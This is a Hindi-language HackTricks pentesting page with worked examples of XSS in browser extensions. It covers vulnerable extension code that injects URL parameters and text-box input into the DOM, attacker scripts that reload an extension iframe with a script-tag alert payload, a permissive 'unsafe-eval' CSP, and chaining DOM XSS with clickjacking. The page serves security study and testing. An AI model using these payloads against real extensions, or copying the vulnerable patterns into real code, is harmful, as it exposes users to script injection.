hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

135 lines
11 KiB
Markdown

# BrowExt - XSS उदाहरण
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर **मुझे फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें.
</details>
## Iframe पर XSS
**Content script** एक Iframe बनाती है जो एक **URL को iFrame स्रोत के पैरामीटर्स में इंगित करती है**:
```javascript
chrome.storage.local.get("message", result =>
{
frame.src = chrome.runtime.getURL("message.html") +
"?message=" + encodeURIComponent(result.message) +
"&url=https://example.net/explanation";
});
```
एक उजागर html पृष्ठ: **`message.html`**, जो **ब्राउज़र** से सुलभ है, इसमें ऐसा कोड होता है:
```java
$(() =>
{
let params = new URLSearchParams(location.search);
$(document.body).append(params.get("message") + " <button>Explain</button>");
$("body > button").click(() =>
{
chrome.tabs.create({ url: params.get("url") });
});
});
```
दुर्भावनापूर्ण पृष्ठ निम्नलिखित जैसी स्क्रिप्ट को निष्पादित करता है ताकि संदेश को **XSS payload** के लिए बदला जा सके:
```javascript
setTimeout(() =>
{
let frame = document.querySelector("iframe:last-child");
let src = frame.src;
// Remove existing query parameters
src = src.replace(/\?.*/, "");
// Add malicious query parameters
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
// Load into frame
frame.src = src;
}, 1000);
```
एक उदार Content Security Policy जैसे कि&#x20;
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
जेएस कोड के निष्पादन की अनुमति देगा।
XSS को इच्छानुसार ट्रिगर करने का एक और तरीका है चलाना:
```javascript
let frame = document.createElement("iframe");
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
+ encodeURIComponent("<script>alert('XSS')</script>");
document.body.appendChild(frame);
```
## DOM-based XSS + ClickJacking
पहली कमजोरी DOM-based Cross-site Scripting (XSS) कमजोरी है **`/html/bookmarks.html`** में, निम्नलिखित संवेदनशील JavaScript है जो शामिल है **`bookmarks.js`** में:
```javascript
$('#btAdd').click(function() {
var btname = $('#txtName').val();
if ($('.custom-button .name').filter(function() {
return $(this).text() === btname;
}).length) return false;
var span = $('<span class="custom-button">');
span.html('<span class="name">' + btname + '</span>');
span.append('<a href="javascript:void(0)" title="remove">x</a>');
span.attr('title', btname);
span.data('id', (new Date().getTime()));
$('div.custom-buttons .existing').append(span);
save_options();
});
```
उपरोक्त JavaScript **`txtName`** टेक्स्ट बॉक्स के **मान** को लेता है और **HTML बनाने के लिए स्ट्रिंग संयोजन का उपयोग करता है** जिसे jQuery के ["append()"](https://api.jquery.com/append/) फ़ंक्शन के माध्यम से DOM में जोड़ा जाता है।
सामान्यतः, Chrome एक्सटेंशन Content Security Policy (CSP) को इस संवेदनशीलता का शोषण होने से रोकना चाहिए। हालांकि, [**'unsafe-eval'**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) के माध्यम से इस नीति को ढीला करने और jQuery के DOM APIs के उपयोग के कारण, इसे अभी भी **शोषण** किया जा सकता था। यह इसलिए है क्योंकि jQuery के DOM APIs में से अधिकांश [“globalEval()”](https://api.jquery.com/jquery.globaleval/) का उपयोग करते हैं, जो स्वचालित रूप से स्क्रिप्ट्स को DOM में जोड़ने पर [“eval()”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) को पास कर देता है।
यद्यपि यह एक गंभीर संवेदनशीलता है, अपने आप में इसका शोषण काफी सीमित है क्योंकि इसे शोषण करने के लिए **उपयोगकर्ता-संपर्क की आवश्यकता होती है**। पीड़ित को पेज खोलना होगा, फील्ड में Cross-site Scripting (XSS) पेलोड पेस्ट करना होगा, और इसे शोषण करने के लिए "Add" बटन पर क्लिक करना होगा।
इस संवेदनशीलता को बेहतर ढंग से हथियार बनाने के लिए हम एक अलग संवेदनशीलता (**clickjacking**) का उपयोग करते हैं ताकि हमले को मजबूत किया जा सके।
निम्नलिखित Chrome एक्सटेंशन के मैनिफेस्ट से एक अंश है:
```json
...trimmed for brevity...
"web_accessible_resources": [
"_locales/*",
"bundle/*",
"dist/*",
"assets/*",
"font/*",
"html/bookmarks.html",
"css/*.css",
"js/*.js",
"js/jquery/*.js",
"js/lang/*"
],
...trimmed for brevity...
```
उपरोक्त खंड दर्शाता है कि एक्सटेंशन अपनी **`web_accessible_resources`** नीति के साथ व्यापक जाल बिछाता है।
**`/html/bookmarks.html`** पृष्ठ भी **framed** हो सकता है और इस प्रकार **clickjacking** के माध्यम से **exploited** किया जा सकता है। हम इसका दुरुपयोग करते हैं ताकि हम इस पृष्ठ को हमारे वेब पेज में iframe कर सकें, और **DOM तत्वों के साथ फ्रेम को ओवरले करके लेआउट को रीड्रेस करें**। इससे यह होता है कि पीड़ित को यह पता नहीं चलता कि वे **वास्तव में नीचे के एक्सटेंशन के साथ इंटरैक्ट कर रहे हैं**। निम्नलिखित एनीमेशन इस प्रभाव को दर्शाता है (एनीमेशन को [**मूल पोस्ट लेखन**](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) में देखें)।
## संदर्भ
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर मुझे 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** का अनुसरण करें**।
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें।
</details>